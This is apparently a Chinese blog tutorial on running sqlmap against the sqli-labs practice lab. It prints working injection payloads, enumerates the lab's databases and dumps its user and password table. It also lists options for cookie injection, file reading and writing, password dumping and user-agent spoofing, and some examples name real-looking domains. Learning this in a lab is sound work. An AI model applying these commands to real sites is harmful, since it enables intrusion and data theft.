当前位置:首页 > 技术 > 正文内容

SQL注入测试实战教程:使用sqlmap进行数据库渗透

访客 技术 2026年10月13日 2

SQL注入概述

SQL注入是一种攻击技术,允许攻击者在目标网站的数据库中执行恶意SQL语句。这意味着可以控制和操作网站数据,甚至完全接管网站。

SQLMap是一个工具,专门用于简化SQL注入过程。它能够自动扫描并识别可能的注入点,然后提供多种功能来执行SQL语句,如SELECT、INSERT、UPDATE和DELETE等。这使得获取、修改或删除数据变得容易。

此外,SQLMap也可用于检测应用程序是否存在SQL注入漏洞,这对保护自己的应用或发现他人应用的漏洞非常有用。

SQLMap不需要特别的编程知识,即使新手也能快速上手。它提供了详细的文档和教程,帮助用户掌握其使用方法。

总之,SQLMap是一个强大的工具,能帮助用户完全控制一个网站的数据库,获取、修改甚至删除数据。它是安全测试的重要工具之一。

SQLMap支持的五种注入模式:

- 基于布尔类型的盲注,通过页面返回判断条件真假
- 基于时间的盲注,通过时间延迟判断是否执行成功
- 报错注入,页面返回错误信息或直接显示注入结果
- 联合查询注入,在Union可用的情况下注入
- 堆叠查询注入,同时执行多条语句时的注入

SQLMap支持的主要数据库类型:

MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB

SQLMap的安装与使用:

注意: SQLMap需要Python3环境!

为了方便学习,我们准备了一份完整的《网络安全入门+进阶学习资源包》,包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~

首先下载压缩包(扫描加我获取资料),解压后在sqlmap.py所在的目录打开终端:

接着在终端中输入 python sqlmap.py -h 查看帮助页面:

出现下面的内容就表明SQLMap运行成功:
\sqlmap-master\sqlmap-master> python sqlmap.py -h
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.7.5#stable}
|_ -| . [.]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

Usage: sqlmap.py [options]

使用SQLMap对目标进行常规扫描:

以sqli-labs-master靶场的less-1为例:

首先复制浏览器中的链接:

在终端中输入如下命令:

python sqlmap.py -u http://192.168.xx.xx/sqli-labs-master/Less-1/?id=1

如果希望BurpSuite捕获请求包,可以使用SQLMap的 –proxy 参数 :

python sqlmap.py -u http://192.168.xx.xx/sqli-labs-master/Less-1/?id=1
--proxy=http://127.0.0.1:8080

SQLMap开始扫描: BurpSuite抓包:

SQLMap扫描过程中如果出现选项直接选Y即可:

it looks like the back-end DBMS is 'MySQL'. 
Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include 
all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y

SQLMap扫描完毕后会给出找到的SQL注入漏洞以及对应的注入点和PAYLOAD:(以下包含个人添加的翻译,方便理解):

sqlmap identified the following injection point(s) with a total of 50 HTTP(s) requests:---
SQLMAP使用50个HTTP请求识别了以下注入点:
Parameter: id (GET)
    Type: boolean-based blind (基于布尔的盲注)
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 3826=3826 AND 'mrQK'='mrQK

    Type: error-based        (报错注入)
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1' AND (SELECT 9262 FROM(SELECT COUNT(*),CONCAT(0x7162627071,(SELECT (ELT(9262=9262,1))),0x716a707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'HuUe'='HuUe

    Type: time-based blind    (时间盲注)
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 1174 FROM (SELECT(SLEEP(5)))wyad) AND 'LVya'='LVya

    Type: UNION query            (联合注入)
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-5616' UNION ALL SELECT NULL,CONCAT(0x7162627071,0x72566d5973464e4571724343676c7567496d635a47414a62556b4475495562624744556b76686a6e,0x716a707671),NULL-- -
---

SQLMap还对关键点进行了编码,以绕过可能的过滤机制。

注入成功后获取数据库基本信息:
获取服务器中有哪些数据库:

使用的参数为 --dbs

\sqlmap-master\sqlmap-master> python sqlmap.py 
-u http://192.168.xx.xx/sqli-labs-master/Less-1/?id=1 
--proxy=http://127.0.0.1:8080 --dbs

发现成功获取到目标主机中的所有数据库名:

available databases [8]:
[*] challenges
[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema
[*] security
[*] test
[*] xionghai_database

获取数据库中有那些表:

使用的参数为 -D 数据库名 --tables

这里我们查询security数据库:

\sqlmap-master\sqlmap-master> python sqlmap.py 
-u http://192.168.xx.xx/sqli-labs-master/Less-1/?id=1 
--proxy=http://127.0.0.1:8080 -D security --tables

发现SQLMap不仅给出了有哪些表,还给出了目标服务器的web信息:

获取数据表中的字段名:

使用的参数为 -D 数据库名 -T 表名 --columns

这里我们使用security中的users表:

\sqlmap-master\sqlmap-master> python sqlmap.py 
-u http://192.168.xx.xx/sqli-labs-master/Less-1/?id=1 
--proxy=http://127.0.0.1:8080 -D security -T users --columns

SQLMap不仅给出了字段名,还给出了字段类型:
Database: security
Table: users
[3 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| password | varchar(20) |
| id       | int(3)      |
| username | varchar(20) |
+----------+-------------+

获取数据表中的字段数据

使用的参数为 -D 数据库名 -T 表名 -C "字段名1,字段名2…" --dump

\sqlmap-master\sqlmap-master> python sqlmap.py 
-u http://192.168.xx.xx/sqli-labs-master/Less-1/?id=1 
--proxy=http://127.0.0.1:8080 
-D security -T users -C "id,username,password" --dump

Database: security
Table: users
[16 entries]
+-----+------------+----------+
| id  | password   | username |
+-----+------------+----------+
| 1   | Dumb       | Dumb     |
| 2   | I-kill-you | Angelina |
| 3   | p@ssword   | Dummy    |
| 4   | crappy     | secure   |
| 5   | stupidity  | stupid   |
| 6   | genious    | superman |
| 7   | mob!le     | batman   |
| 8   | 123456     | admin    |
| 9   | admin1     | admin1   |
| 10  | admin2     | admin2   |
| 11  | admin3     | admin3   |
| 12  | dumbo      | dhakkan  |

以上只是SQLMap最基础的用法,下面我们来总结并拓展更多用法:

为了方便学习,我们准备了一份完整的《网络安全入门+进阶学习资源包》,包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~

SQLMap用法的总结与拓展:

基本的检测方式:

基本格式: sqlmap -u "http://www.vuln.cn/post.php?id=1" 默认使用level1检测全部数据库类型 sqlmap -u "http://www.vuln.cn/post.php?id=1" --dbms mysql --level 3 指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面)
跟随302跳转: sqlmap --follow-redirect -u <target_url> 当注入页面错误的时候,自动跳转到另一个页面的时候需要跟随302, 当注入错误的时候,先报错再跳转的时候,不需要跟随302。 目的就是:要追踪到错误信息。
cookie注入: 当程序有防get注入的时候,可以使用cookie注入 sqlmap -u "http://www.baidu.com/shownews.asp" --cookie "id=11" --level 2(只有level达到2才会检测cookie)
从post数据包中注入: 可以使用burpsuite来抓取post包 sqlmap -r "c:\tools\request.txt" -p "username" --dbms mysql 需指定username参数 -r参数指定请求包所在的路径(就是POST请求包)

拓展:SQLMap的-u参数与-r参数

-u参数后面接的是URL,一般用于扫描GET请求

-r参数后面接的是保存有HTTP请求的txt文件,用于扫描POST请求:

例如sqli-labs-master靶场的less-11,这一关就是使用的POST请求,注入点在POST表单中,不能使用-r URL的形式进行扫描,需要我们将整个POST请求复制下来并保存在一个txt文件中:(这个txt文件最好放在与sqlmap.py同级目录中,方便指定路径)

在终端中使用 python sqlmap.py -r 1.txt --dbs查询有哪些数据库

PS D:\123pan\Downloads\W14—SQL注入5—23.7.25\sqlmap-master\sqlmap-master> python sqlmap.py -r 1.txt --dbs
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.7.5#stable}
|_ -| . [,]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org


获取数据库基本信息:

查询有哪些数据库 -r XX.txt --dbs (-r指定POST请求所在的路径)
查询security数据库中有哪些表 -r XX.txt -D security --tables
查询security数据库中users表有哪些字段 security.users -r XX.txt -D security -T users --columns
dump出字段username与password中的数据 -r XX.txt -D security -T users -C "username,password" --dump

sqlmap支持五种不同的注入模式:

- 支持基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入。
- 支持基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已经执行来判断。
- 支持报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。
- 支持联合查询注入,即在可以使用Union的情况下注入。
- 支持堆叠查询注入,即可以同时执行多条语句时的注入。

sqlmap的基本使用方式:

基本的检测方式:

扫描单个URL: sqlmap -u <target_url>
扫描多个URL: URL之间用空格分隔 sqlmap -u <target_url1> <target_url2> ...
基本格式: sqlmap -u "http://www.vuln.cn/post.php?id=1" 默认使用level1检测全部数据库类型 sqlmap -u "http://www.vuln.cn/post.php?id=1" --dbms mysql --level 3 指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面)
跟随302跳转: sqlmap --follow-redirect -u <target_url> 当注入页面错误的时候,自动跳转到另一个页面的时候需要跟随302, 当注入错误的时候,先报错再跳转的时候,不需要跟随302。 目的就是:要追踪到错误信息。
cookie注入: 当程序有防get注入的时候,可以使用cookie注入 sqlmap -u "http://www.baidu.com/shownews.asp" --cookie "id=11" --level 2(只有level达到2才会检测cookie)
从post数据包中注入: 可以使用burpsuite来抓取post包 sqlmap -r "c:\tools\request.txt" -p "username" --dbms mysql 需指定username参数 -r参数指定POST请求所在的路径

拓展:sqlmap跟随302跳转
 在使用SQLMap进行注入攻击时,有时会遇到目标网站使用302重定向的情况。
这可能会使你无法直接注入目标页面,因为重定向会将请求导向另一个页面。

在这种情况下,我们可以尝试以下方法:

使用Burp Suite或其他代理工具捕获HTTP请求并进行手动重定向:
使用Burp Suite等工具可以捕获目标网站的HTTP请求,
然后手动修改请求的URL以跟随302重定向。
这样可以让你将SQLMap的注入请求发送到目标页面。

使用SQLMap的"--follow-redirect"选项:
SQLMap提供了一个"--follow-redirect"选项,可以自动跟随302重定向。
使用该选项可以使SQLMap自动将注入请求发送到目标页面。
例如,使用以下命令启用"--follow-redirect"选项:

sqlmap --follow-redirect -u <target_url>

请注意,在某些情况下,网站可能会使用其他类型的重定向(如301重定向),
而SQLMap可能无法自动跟随这些重定向。
在这种情况下,你需要手动处理HTTP请求并确保将注入请求发送到目标页面。

获取数据库基本信息:

查询有哪些数据库 -r XX.txt --dbs (-r指定POST请求所在的路径)
查询security数据库中有哪些表 -r XX.txt -D security --tables
查询security数据库中users表有哪些字段 security.users -r XX.txt -D security -T users --columns
查询字段username与password中的数据 -r XX.txt -D security -T users -C "username,password" --dump

从数据库中搜索特定字段:

在security数据库中搜索字段admin或者password。 sqlmap -r "c:\tools\request.txt" --dbms mysql -D security --search -C admin,password

读取与写入文件:

首先找需要网站的物理路径,其次需要有可写或可读权限。

假设目标网站的URL为http://example.com/upload/file.txt

从指定的URL路径http://example.com/upload/file.txt)中读取文件,并将内容输出到标准输出。 sqlmap --file-read --file-path=file.txt --url="http://example.com/upload/file.txt"
向指定的URL路径http://example.com/upload/file.txt)中写入指定的内容。 sqlmap --file-write --file-path=file.txt --file-content="<Your content here>" --url="http://example.com/upload/file.txt"

sqlmap 详细命令:

- 当前用户权限(是否为root权限) --is-dba
- 所有数据库 --dbs
- 网站当前数据库 --current-db
- 所有数据库用户 --users
- 当前数据库用户 --current-user
- 构造随机user-agent --random-agent
- 数据库密码 --passwords
- (可以自定义线程加速) 代理 --proxy http://local:8080 --threads 10
- 响应的延迟时间(默认为5秒) --time-sec=TIMESEC DBMS

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取

1.成长路线图&学习规划👈

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

在这里插入图片描述 在这里插入图片描述

2.网安入门到进阶视频教程👈

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程扫描领取哈) 在这里插入图片描述 在这里插入图片描述

3.SRC&黑客文档👈

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍: 在这里插入图片描述 黑客资料由于是敏感资源,这里不能直接展示哦! (全套教程扫描领取哈)

4.护网行动资料👈

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指! 在这里插入图片描述

5.黑客必读书单👈

在这里插入图片描述

6.网络安全岗面试题合集👈

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。 在这里插入图片描述

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~

标签: SQLmap

相关文章

Linux crontab 详解

1) crontab 是什么cron 是 Linux 的定时任务守护进程;crontab 是用来编辑/查看“按时间周期执行命令”的表(cron table)。常见两类:用户 crontab:每个用户一份(crontab -e 编辑)系统级 crontab / cron.d:可指定执行用户(/etc/crontab、/etc/cron.d/*)2) crontab 时间...

富文本里可以允许的 HTML 属性

一、所有标签默认允许的安全属性(极少)class        (可选)id           (通常建议禁用)title️ 注意:id 容易被滥用做锚点注入,很多系统直接禁用class 允许的话最好只允许固定前缀(如 editor-*)二、a 标签允许属性<a href="" t...

Mac 安装 Node.js 指南

方法一:通过官网安装包(最简单,适合初学者)如果你只是想快速安装并开始使用,这是最直接的方法。访问 Node.js 官网。页面会显示两个版本:LTS (Recommended For Most Users):长期支持版,最稳定。建议选这个。Current:最新特性版,包含最新功能但可能不够稳定。下载 .pkg 安装包并运行。按照安装向导点击“下一步”即可完成。方法二:使用 Homebrew 安装(...

Dom\HTML_NO_DEFAULT_NS 的副作用:自动加闭合标签

在使用Dom\HTMLDocument时,Dom\HTML_NO_DEFAULT_NS 将禁止在解析过程中设置元素的命名空间, 此设置是为了与DOMDocument向后兼容而存在的。当使用它时,已知的一个副作用就是:自动加闭合标签例如 </img> 为什么会这样?当你使用:Dom\HTML_NO_DEFAULT_NS文档会变成 无命名空间模式,此时内部更接近 XML...

Laravel 事件和监听器创建

在 Laravel 中,使用 Artisan 命令创建 Events(事件) 和 Listeners(监听器) 是非常高效的。你可以通过以下几种方式来实现:1. 手动创建单个 Event如果你只想创建一个事件类,可以使用 make:event 命令:Bashphp artisan make:event UserRegistered执行后,文件将生成在 app/Even...

linux screen 用法详情 (nohup 的替代方案)

一、screen 是什么?能干嘛?screen 是一个终端复用器,可以:在一个 SSH 会话中开多个“虚拟终端”SSH 断线后,程序仍然在后台运行随时重新连接到原来的会话特别适合:nohup 的替代方案跑脚本 / 爬虫 / 训练模型运维、远程开发二、安装 screen# CentOS / Rocky / Almayum install -y screen# Debian / Ubuntuapt i...

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。